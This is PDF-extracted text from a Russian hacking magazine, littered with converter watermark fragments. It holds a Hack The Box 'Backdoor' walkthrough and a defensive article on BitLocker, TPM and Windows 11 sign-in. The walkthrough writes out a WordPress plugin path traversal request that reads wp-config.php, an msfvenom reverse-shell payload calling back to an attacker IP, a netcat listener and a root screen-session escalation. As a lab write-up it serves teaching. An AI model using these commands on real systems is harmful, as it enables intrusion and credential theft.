книги хакеры / журнал хакер / ха-277_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ВЗЛАМЫВАЕМ САЙТ НА WORDPRESS И ПРАКТИКУЕМСЯ В РАЗВЕДКЕ
Сегод ня мы с тобой на примере |
легкой |
||||||||||
по уровню сложности |
машины |
Backdoor |
|||||||||
с площад ки Hack The Box поупражня |
емся |
||||||||||
в простей ших |
|
атаках на |
веб приложе |
ния . |
|||||||
Поищем уязвимые |
плагины |
для WordPress, |
|||||||||
проэкс плу ати руем |
уязвимость |
типа |
path |
||||||||
traversal, переберем |
информацию |
о про |
цессах при помощи Burp и повысим при вилегии в системе через пользователь ский скрипт.
RalfHacker hackerralf8@gmail.com
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.125 backdoor.htb0
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта .
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль тат работы скрипта
Мы нашли два открытых порта :
•22 — служба OpenSSH 8.2p1;
•80 — веб сервер Apache 2.4.41.
SSH смело пропус каем , там делать нечего.
Посколь ку вначале у нас нет учетных данных , нет и смысла изучать службы , которые всегда требуют авториза ции (например , SSH). Единствен ное , что мы можем делать здесь, — перебирать пароли брутфорсом , но машины с HTB почти всегда можно пройти по другому . В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социаль ной инженерии .
Изучим веб сервер . Nmap сразу показал, что там установ лен движок
WordPress 5.8.1.
Главная страница сайта
Кстати , ту же самую информацию (и даже чуть подробнее ) можем получить, проана лизи ровав сайт утилитой whatweb.
whatweb http://backdoor.htb0
Вывод программы whatweb
ТОЧКА ВХОДА
При тестирова нии сайтов на WordPress лучше всего использовать утилиту wpscan. С ее помощью можно обнаружить уязвимые версии самого WordPress, тем и плагинов , а также собрать список пользовате лей и переб рать учетные данные . В общем, все, что нужно . Перед началом сканиро вания советую зарегистри ровать ся на официаль ном сайте и получить токен для доступа к API. Это бесплат но .
Чаще всего уязвимос ти присутс твуют в плагинах , поэтому я зарядил их перебор (опция -e ap) в агрессивном режиме (опция --plugins-detection aggressive), используя 100 потоков (опция -t 100).
wpscan --url http://backdoor.htb/ -e ap --plugins-detection
aggressive -t 1000
Обнаружен ные плагины
Потратив несколь ко минут, мы получаем отчет, в котором отмечены два пла гина. Об уязвимос тях ничего не сообщает ся , но в ebook-download не про индексирован каталог, что позволя ет просмотреть его содержимое .
Содер жимое каталога ebook-download
Из файла readme.txt узнаем версию плагина — 1.1. Странно , ведь сканер отобразил 1.5.
Содер жимое файла readme.txt
Ищем известные уязвимос ти и экспло иты для ebook-download 1.1 и находим
PoC.
При пентесте лучше всего искать экспло иты в Google, посколь ку этот поис ковик заглядыва ет и в личные блоги , и в самые разные отчеты . Ускорят дело специали зиро ван ные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты . Если ты работаешь в специали зиро ван ной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать ути
литу searchsploit.
Описание экспло ита
ТОЧКА ОПОРЫ
Уязвимость и экспло ит очень простые . Это path traversal, то есть возможность обращать ся к родительско му каталогу (../) при указании пути к файлу . Три таких шага, и мы выбираемся в корневую директорию WordPress, где можем прочитать файл с конфигура цией. Делается это одним запросом :
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.
php?ebookdownloadurl=../../../wp-config.php0
Содер жимое файла wp-confg.php
Здесь хранят ся учетные данные для подклю чения к базе данных . Первая идея — попробовать эти учетные данные для логина по SSH (не вышло ) и доступа к панели админис три рова ния WordPress, расположен ной в каталоге /wp-admin/. Авторизо вать ся на сайте также не вышло .
Ошибка авториза ции WordPress
Тогда мы можем поискать другие интерес ные файлы и получить больше информации с сервера . Я использовал список с такими файлами и потратил много времени на их просмотры , ведь мы можем прочитать почти все, для чего хватает привиле гий . И ничего интерес ного , кроме файла /proc/
self/cmdline.
Содер жимое файла /proc/self/cmdline
Файловая система /proc — это специаль ная ФС, которая есть во многих современ ных UNIX-системах . В ней можно найти массу полезной информа ции в тексто вом виде. Внутри каталога /proc — огромное число других каталогов с цифровыми названи ями. Имя каждого такого каталога соответс твует идентифика тору работающе го в системе процес са (PID). А файл / proc/[pid]/cmdline содержит аргумен ты командной строки , с которыми был запущен процесс . Идентифика тор self указыва ет на текущий процесс .
После этой находки у меня возникла идея проверить аргумен ты коман дной строки всех процес сов, вдруг какому то из них были переданы учетные данные . С помощью Burp Intruder можно перебрать идентифика торы. Это лег ко сделать , указав Numbers в качестве типа нагрузки и промежу ток перебора от 0 до 10 000 с шагом 1.
Burp Intruder — Positions
Burp Intruder — Payloads
Резуль таты перебора
Учетных данных не находим, зато отмечаем , что на порте 1337 запущен gdbserver. Мы не знаем версии , поэтому попробу ем найти просто самый новый экспло ит.
Первая же ссылка в Google наводит нас на скрипт, который эксплу атирует RCE-уязвимость в gdbserver 9.2. Чтобы воспро извести это, сгенери руем файл с нагрузкой при помощи MSFvenom:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.73 LPORT=4321
PrependFork=true -o rev.bin0
Затем с использовани ем netcat создадим листенер для приема бэкконнек та .
Обратный шелл — это подклю чение , которое активиру ет атакуемая машина, а мы принима ем и таким образом подклю чаем ся к ней, чтобы выполнять команды от лица пользовате ля , который запустил шелл. Для приема соеди нения необходимо создать на локальной машине listener, то есть «слу шатель».
Втаких случаях пригодит ся rlwrap — readline-оболоч ка, которая в числе прочего позволя ет пользовать ся историей команд. Она обычно доступна
врепозитории дистри бутива.
Вкачестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]0
Для этого выполним такую команду :
rlwrap -cAr nc -lvnp 43210
И запустим экспло ит .
Выпол нение экспло ита
Бэкконнект от сервера
Получа ем интерак тивную TTY-оболоч ку и читаем первый флаг — поль зовательский .
python3 -c "import pty;pty.spawn('/bin/bash')"
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Для захвата флага рута нам понадобит ся повысить привиле гии в системе . Самые очевид ные шаги для этого — проверить настрой ки sudoers, приложе ния с выставлен ным битом SUID, прослушива емые на локальном хосте порты и список запущенных приложе ний. Везет с последним пунктом . Мы находим работающий в системе пользователь ский скрипт.
Список запущенных процес сов
На хосте каждую секунду запускает ся команда find:
find /var/run/screen/S-root/ -empty -exec screen -dmS root0
Если она находит процесс screen, то выполняет действие exec, что приведет
к запуску screen в автоном ном режиме (причем запущенном от имени супер пользовате ля). То есть мы можем запустить screen и подклю читься ко вто рому, запущенному командой find привиле гированному процес су.
export TERM=xterm0
screen -x root/root0
Это дает нам привиле гиро ван ный шелл.
Флаг рута
Машина захвачена !
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЗАЩИЩАЕМ КОМПЬЮТЕРЫ С WINDOWS 10
И ОСОБЕННО — С WINDOWS 11
Защитить компьютер с Windows не просто , а очень просто : несколь ко щелчков мышью — и системный раздел зашифрован BitLocker. Но может случить ся так, что взло мать этот компьютер будет еще проще : достаточ но узнать пароль от твоей учетной записи Microsoft, чтобы разбло кировать систему , несмотря на шифрование . Оче редной шаг в борьбе щита и меча сделан
в Windows 11: здесь использует ся аппарат ный контроль безопасности , а взлом пароля при соблюдении определен ных условий будет не только совершенно бес полезным , но и невозможным .
Олег Афонин
Эксперт по мобильной криминалистике компании «Элкомсофт» aoleg@voicecallcentral.com
Насколь ко безопаснее стала Windows 11 в сравнении с «десяткой » и почему? Можно ли обезопа сить Windows 10 штатными средства ми , не прибегая
к VeraCrypt и подобным инстру мен там ? И для чего же, в конце концов , Windows 11 так нужен TPM?
Когда я начал разбирать ся в том, как именно , а главное — для чего в один надцатой версии Windows используют ся модули TPM, я чуть не сломал голову. Традици онно для Microsoft документация существу ет, ее много , но написан ное в ней далеко не всегда соответс твует действи тельности; ряд утвержде ний (мы рассмот рим их ниже) вселяет ложную уверен ность в безопасности . Помнишь , сколько копий было сломано по поводу системных требова ний Windows 11? Теперь я готов поверить, что решение ограничить совмести мость Windows 11 исключитель но системами , оборудо ванными TPM, было не волей маркетоло гов, а ультимату мом команды разработ чиков: «Или компьюте ры без TPM идут лесом, или мы умываем руки!»
ВКЛЮЧАЕМ BITLOCKER
Шифрование системно го раздела — первый , необходимый , но не всегда достаточ ный шаг к обеспечению безопасности системы . На безопасность зашифрован ных данных может повлиять такая неочевид ная на первый взгляд вещь, как способ входа в систему .
Примем за аксиому , что в твоем компьюте ре установ лен и активиро ван
в настрой ках UEFI BIOS модуль TPM 2.0 или его аналог (Intel Platform Trust Technology или AMD frmware TPM). Чуть позже я расска жу о том, что можно сделать при его отсутствии , но пока рассмот рим работу относитель но сов ременных систем .
В сети ходит много непроверен ной информации о законности или незакон ности TPM. По слухам , ФСБ запреща ет модули TPM из за того, что те могут использовать ся для шифрования без закладок . Не буду утомлять тебя юри дическими подробнос тями (составлен ная юристами докладная записка занимает несколь ко листов ), ограничусь лишь краткими выводами .
Во первых , на ввоз в страну аппарат ных модулей TPM требует ся нотифи кация (то есть для импортеров действу ет разрешитель ный режим). Во вто рых, использование TPM частны ми лицами внутри страны никаких законов не нарушает . Наконец, в третьих : эмуляция TPM вполне легально присутс тву ет во всех процес сорах Intel Core с 8-го поколения , а также во всех процес сорах с архитек турой AMD Zen и более новых. Использование соответс тву ющих функций законным образом ввезен ных в страну комплек тующих никаких правил не нарушает .
Чтобы включить шифрование системно го диска , пользовате лям Windows 10 и 11 всех редакций за исключени ем домашней (Home) достаточ но открыть апплет BitLocker Drive Encryption в панели управления Windows. Далее нужно включить шифрование (для твердотель ных накопителей вполне достаточ но зашифровать только данные ; свобод ное место накопитель очищает самос тоятельно по команде trim) и где то сохранить (или распечатать ) ключ вос станов ления доступа . Шифрование происхо дит в фоновом режиме; через некоторое время данные будут зашифрованы , накопитель будет выглядеть следующим образом .
Зашиф рован ный накопитель
ДЛЯ ЧЕГО НУЖЕН КЛЮЧ ВОССТАНОВЛЕНИЯ ДОСТУПА (BITLOCKER RECOVERY KEY)
Не хотелось бы в этой статье глубоко вдавать ся в подробнос ти механизма шифрования BitLocker (о нем можно прочитать , например , здесь. В двух сло вах: именно ключ восста нов ления доступа поможет тебе разбло киро вать накопитель , если модуль TPM по какой то причине решит не отдавать сис теме ключ.
В каких случаях TPM может «зажать» ключ? В принципе , это может про изойти после любого обновления прошив ки либо BIOS самого компьюте ра или любого подклю ченного устройства (кроме USB). Еще при изменении аппарат ной конфигура ции (установил новую видеокар ту), при обновлении Windows или одного из драйверов , участву ющих в цепочке загрузки . Если такое событие произой дет, то цепочка загрузки нарушится (не совпадут вычисленные в регис трах PCR контроль ные суммы ) и TPM не отдаст операци онной системе ключ, который нужен для разбло кировки диска . Как резуль тат — при загрузке система попросит ввести код восста новления доступа .
Система попросит ввести код восста нов ления доступа
Посколь ку при использовании TPM другого метода разбло кировки диска по умолчанию не предус мотрено, ключ восста новления доступа остается единствен ным способом получить доступ к данным .
Почему же этого не происхо дит каждый раз, когда ты обновляешь ОС через Windows Update? Дело в том, что система знает об этой особен ности BitLocker и на время установ ки отключает защиту. Ровно то же самое ты можешь проделать вручную , восполь зовавшись командой Suspend
protection.
Suspend protection
После этого ты можешь спокой но обновить BIOS, заменить видеокар ту или обновить прошив ку одного из устройств . После перезагрузки система вычислит новую цепочку загрузки , которая будет считать ся доверенной , а шифрование автомати чес ки включит ся .
КАКИЕ ЕСТЬ РИСКИ ПРИ ШИФРОВАНИИ BITLOCKER С ИСПОЛЬЗОВАНИЕМ TPM
Шифрование BitLocker достаточ но надежно , хотя использующий ся 128-бит ный ключ вызывает некоторые сомнения в контек сте потенциаль ной уяз вимости для квантовых компьюте ров. Если тебя это беспоко ит — включи 256- битное шифрование в настрой ках групповых политик, как показано на скрин шоте. Сделать это необходимо до того, как диск будет зашифрован ; настрой ка не влияет на уже созданные зашифрован ные диски .
Включение 256-битного шифрования
Проверить , что получилось , можно командой manage-bde -status.
0 |
|
Volume C: [NVME]0 |
|
[OS Volume]0 |
|
Size: |
930,40 GB0 |
BitLocker Version: |
2.0c0 |
Conversion Status: |
Used Space Only Encrypted0 |
Percentage Encrypted: |
100,0%0 |
Encryption Method: |
XTS-AES 2560 |
Protection Status: |
Protection On0 |
Lock Status: |
Unlocked0 |
Identification Field: Unknown0 Key Protectors:0
TPM0
Numerical Password 0
Еще один связан ный с BitLocker риск возника ет из за того, что модуль TPM выдаст ключ шифрования , а Windows автомати чески смонтиру ет зашиф рованный диск в процес се загрузки , если цепочка доверенной загрузки
не была нарушена . Таким образом , к моменту , когда Windows запрашива ет твой пароль (или идентифика цию через Windows Hello), зашифрован ный диск уже смонтирован , а ключ шифрования … Он, в отличие от систем с macOS, оборудо ванных чипом T2, хранит ся в оператив ной памяти в чистом , незащи щенном виде. Да, злоумыш ленник не сможет разбло кировать компьютер , не зная пароля от твоей учетной записи (или не восполь зовавшись твоими биометричес кими данными для входа через Windows Hello), однако существу ют способы извлечь ключ шифрования из оператив ной памяти. Впрочем , спо собы эти настоль ко техничес ки сложные , что используют их крайне редко и только при рассле довании громких дел.
|
Среди прочего |
|
Windows Hello может |
работать |
|||||||
|
с датчиками |
отпечат ков пальцев и инфракрасны |
|
||||||||
|
ми видеока мера |
ми . Чем то подобным |
оборудо |
|
|||||||
|
ваны практичес |
ки все современ |
ные |
ноутбуки |
, |
||||||
|
но никто не запреща |
ет тебе подклю чить |
такое |
||||||||
|
устройство |
и к дескто пу . |
|
|
|
|
|
Наконец , в самих модулях TPM (а точнее , в коммуника цион ном протоко ле , по которому этот модуль общается с системой ) существу ет даже не уяз вимость, а огромная зияющая дыра: данные , в том числе ключ к зашифрован ному диску , передаются в открытом виде, и их достаточ но просто перех ватить. Подробнее об этом читай в нашей статье «Страшный сон TPM. Взла мываем защиту модулей TPM и шифрование BitLocker».
Впрочем , эта уязвимость срабаты вает только при использовании внешних модулей TPM, которые подклю чают ся к материнской плате через специаль ный разъем . Эмулято ры Intel PTT и AMD fTPM этой уязвимос ти не подверже ны и, соответс твен но , обладают более высоким в сравнении с отдельными модулями уровнем безопасности .
Все перечисленные риски действи тель но существу ют , но в реальнос ти их влияние на безопасность минимально : при включении шифрования сис темного диска файлы подкачки и гибернации шифруют ся вместе с осталь ными данными , а извлечь ключ шифрования из модуля TPM невозможно , как невозможно его перехватить при использовании эмуляции TPM. Если для входа в систему ты используешь локальную учетную запись, пароль от которой сложный , уникаль ный , нигде более не использует ся и не хранит ся , то и подобрать его не представ ляет ся возможным (напомню , чтобы взломать пароль NTLM, нужно для начала вытащить базу данных SAM, которая зашиф рована вместе с остальными данными , и подобрать ся к ней, не разбло киро вав сначала зашифрован ный диск, не удастся ).
Совсем иначе выглядит уязвимость , связан ная с новым типом учетных записей Microsoft Account, которые появились еще во времена Windows 8.
ВЧЕМ ПРОБЛЕМА С УЧЕТНЫМИ ЗАПИСЯМИ MICROSOFT?
ВWindows 10 предус мотрено несколь ко типов учетных записей, из которых
мы рассмот рим две: локальную учетную запись (Windows account) и учетную запись Microsoft (Microsoft account). По поводу обычных учетных записей все ясно: она безопасна ровно настоль ко , насколь ко безопасен (сложен и уни кален) придуман ный тобой пароль. А вот если использует ся учетная запись Microsoft, дело принима ет куда более интерес ный оборот .
|
Отмечу |
еще один факт. Для портатив |
ных |
устрой |
||||||||||||||
|
ств с BitLocker Device Encryption ОС автомати |
чес |
||||||||||||||||
|
ки создает |
ключ восста нов ления |
при шифровании |
|||||||||||||||
|
системно |
го раздела |
. Ключ восста нов ления |
будет |
||||||||||||||
|
также |
автомати |
чес ки загружен |
в учетную |
запись |
|||||||||||||
|
Microsoft |
первого |
пользовате |
ля , который войдет |
||||||||||||||
|
в систему |
на этом компьюте ре с правами |
адми |
|||||||||||||||
|
нистра тора |
и использует |
|
учетные |
данные |
|||||||||||||
|
Microsoft |
для |
авториза |
ции . Этот ключ может |
||||||||||||||
|
получить |
любой |
пользователь |
, |
просто |
|
войдя |
|||||||||||
|
в учетную |
|
запись |
Microsoft |
|
от |
твоего |
|
имени |
|||||||||
|
и |
перейдя |
|
по |
следующей |
|
ссылке : |
https://account.microsoft.com/devices/recoverykey.
Как работают и для чего нужны учетные |
записи Microsoft? В Windows 10 (а так |
|||||||||||||||
же в Windows 8 и 8.1) для входа в систему |
можно |
использовать |
не только |
|||||||||||||
локальную |
учетную |
запись, но и учетную |
запись Microsoft Account — ту самую, |
|||||||||||||
через которую ты получаешь |
доступ |
|
к |
онлайновому |
почтовому |
сервису |
||||||||||
Hotmail, мессен дже ру Skype, |
облачному хранили |
щу |
|
OneDrive, |
|
подписке |
||||||||||
на Ofce 365 и многим |
другим |
сервисам |
Microsoft. В последу |
ющих |
выпусках |
|||||||||||
Windows учетным |
записям Microsoft Account придавал |
ся все больший |
вес, |
а установ ка ОС без нее станови лась все более сложной . В младших редак циях Windows использование локального логина и пароля и вовсе ограничи ли: настро ить систему при установ ке можно исключитель но с использовани ем онлайновой учетной записи.
Первый вход в учетную запись Microsoft Account требует наличия активно го соединения с интернетом . Данные учетной записи проверя ются Microsoft на удален ном сервере , после чего хеш от пароля сохраня ется (кешируется ) на компьюте ре; это позволя ет входить в учетную запись, когда соединение отсутству ет. У такого поведения есть и обратная сторона : если системный диск не зашифрован , то хеш можно извлечь из соответс твующей базы данных
на компьюте ре , после чего восста новить оригиналь ный пароль через быс трую офлайновую атаку .
Подчер кну, что восста навливается именно пароль от учетной записи Microsoft Account, с помощью которого можно авторизо ваться не только на атакуемом компьюте ре, но и в онлайновых сервисах Microsoft, получив, таким образом , доступ к переписке в Hotmail, чатам Skype, файлам OneDrive и другой информации . Более того, в учетных записях Microsoft хранят ся в том
числе и депонирован |
ные |
ключи BitLocker, использующиеся |
для восста нов |
|||||||||||||||||||||||||||||||||||||||||||||||
ления доступа |
к зашифрован |
ным |
|
дискам . Добавлю , что скорость |
атаки |
|||||||||||||||||||||||||||||||||||||||||||||
на пароли Windows исключитель |
но высокая, а это позволя |
ет (в отсутствие |
||||||||||||||||||||||||||||||||||||||||||||||||
шифрования |
) в разумные |
сроки восста нав ливать |
даже достаточ |
но сложные |
||||||||||||||||||||||||||||||||||||||||||||||
пароли. Когда то давно я уже писал об этой уязвимос |
ти в статье «Microsoft |
|||||||||||||||||||||||||||||||||||||||||||||||||
Account: удобство или дыра в безопасности |
?». |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
Исполь |
зование |
двухфактор |
ной |
аутентифика |
|
ции |
может защитить содер |
|||||||||||||||||||||||||||||||||||||||||||
жимое онлайновой |
|
учетной |
записи, однако пароль от учетной |
|
записи |
|||||||||||||||||||||||||||||||||||||||||||||
Microsoft, извлечен ный , например |
, из твоего телефона или с другого |
компь |
||||||||||||||||||||||||||||||||||||||||||||||||
ютера , шифрование |
|
|
на котором не включено |
, позволя |
ет разбло киро |
вать |
||||||||||||||||||||||||||||||||||||||||||||
и твой компьютер |
с TPM, даже если его системный |
диск зашифрован |
. |
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||
Разработ |
чики |
Microsoft предложили |
дополнитель |
ные |
способы |
авториза |
|
|||||||||||||||||||||||||||||||||||||||||||
ции — в первую |
очередь |
вход по PIN-коду (о нем будет чуть ниже). Однако |
||||||||||||||||||||||||||||||||||||||||||||||||
даже включение |
логина по PIN-коду не решает ни одной из двух проблем : |
|||||||||||||||||||||||||||||||||||||||||||||||||
возможнос |
ти восста нов ления |
оригиналь |
ного |
пароля от онлайновой |
учетной |
|||||||||||||||||||||||||||||||||||||||||||||
записи через быструю |
офлайновую |
атаку (если системный |
диск компьюте ра |
|||||||||||||||||||||||||||||||||||||||||||||||
не зашифрован |
) |
|
и |
возможнос |
ти разбло киро |
вать |
зашифрован |
ный |
диск |
|||||||||||||||||||||||||||||||||||||||||
паролем от учетной |
записи Microsoft, если его удалось |
узнать, подсмот |
реть |
|||||||||||||||||||||||||||||||||||||||||||||||
или извлечь с другого |
|
устройства |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
Подводя |
итог, проблемы |
с логином в Windows при использовании |
учетной |
|||||||||||||||||||||||||||||||||||||||||||||||
записи Microsoft можно сформулиро |
вать |
следующим |
|
образом . |
|
|
|
|
|
|
|
|
|
|
1.Если злоумыш ленник получит доступ к любому устройству , на котором хра нится пароль от учетной записи Microsoft, то с этим паролем он сможет залогинить ся в твой компьютер с Windows 10 — даже если в компьюте ре есть модуль TPM, а системный диск зашифрован BitLocker.
2.Если на одном из компьюте ров с Windows 10, на котором присутс твует твоя учетная запись Microsoft, системный диск не будет зашифрован , то пароль от онлай новой учетной записи может быть восста новлен очень быстрой атакой в режиме офлайн.
Именно эти проблемы разработ чики Microsoft решили исправить в Windows 11, добавив новый тип учетных записей Microsoft, пароль для входа в которые не требует ся .
ЧТО ИЗМЕНИЛОСЬ В WINDOWS 11
В новой версии ОС разработ чики героичес ки преодо лева ют последс твия старого , еще времен Windows 8, решения использовать для входа в систему логин и пароль от онлайновой учетной записи. Как можно обезопа сить компьютер от входа по паролю от учетной записи Microsoft, который зло умышленник может подсмот реть или извлечь из твоего телефона ? Конечно же, запретив использование этого пароля для входа в систему ! Впрочем , пока воздержим ся от фейспал ма , благо разработ чики Microsoft решили проблему не настоль ко прямоли ней но .
Итак, в Windows 11 появляет ся новый тип учетных записей, использующих
для авториза ции входа в систему Microsoft Account, которым не нужен пароль от онлайновой учетной записи. При использовании таких учеток для входа в систему не требует ся (да и невозможно ) вводить пароль от учетной записи Microsoft; вместо пароля использует ся PIN-код или биометричес кие данные подсисте мы Windows Hello (например , видеопо ток с сертифици рован ной инфракрасной стереока меры или данные датчика отпечат ков пальцев ). О том, где хранит ся PIN-код и почему такой способ авториза ции заметно
безопаснее входа по паролю, расска жу дальше ; сейчас же перечислим дос тупные в Windows 11 для обычного (не доменного ) пользовате ля способы входа в систему .
•Учетная запись Microsoft Account без пароля — использует ся по умолчанию . Пароль для входа в систему ввести невозможно ; поддержи вается вход по PIN-коду (TPM), Windows Hello или через авториза цию в приложе нии Microsoft Authenticator (онлайн).
•Учетная запись Microsoft Account с паролем. Хеш пароля к учетной записи хранит ся локально и не защищается TPM. Поддержи вается вход по PIN-коду (TPM), Windows Hello. Так было в Windows 10, и так остается при обновлении Windows 10 до Windows 11.
•Локаль ная учетная запись Windows (вход по паролю). Для входа может использовать ся локальный пароль (его хеш хранит ся в системе ,
не защищается TPM), PIN (TPM) или Windows Hello.
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
|||||
|
to |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
g |
|
|
|
|||
|
|
|
|
n |
|
|
|
|
||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
ЗАЩИЩАЕМ КОМПЬЮТЕРЫ С WINDOWS 10 И ОСОБЕННО — С WINDOWS 11
ВКАКИХ СЛУЧАЯХ В WINDOWS 11 ИСПОЛЬЗУЕТСЯ ВХОД БЕЗ ПАРОЛЯ?
ВWindows 11 поддержи ваются способы входа как по паролю, так и без него.
Режим входа без пароля использует ся в новом типе учетных записей и вклю чается по умолчанию как во время установ ки Windows 11 на новый компь ютер, так и при создании новой учетной записи на компьюте рах , на которых Windows 11 была установ лена в виде обновления Windows 10. В то же время существу ющие в Windows 10 учетные записи, в которых для входа исполь зовался пароль, остаются в Windows 11 в неизменном виде. Чтобы включить вход без пароля, пользовате лю необходимо выбрать соответс тву ющую опцию в настрой ках системы (Sign-in options).
Включение входа без пароля в Windows 11
Также этот способ входа можно активиро вать через Windows Registry.
Включение входа без пароля в Windows 11 через Windows Registry
Подыто жим :
•При установ ке Windows 11 на новый компьютер использует ся Microsoft Account, вход без пароля.
•При обновлении с Windows 10: использует ся тот же способ входа , что и в оригиналь ной ОС Windows 10.
•Новые учетные записи, создава емые в Windows 11, установ ленной любым способом : использует ся Microsoft Account, вход без пароля.
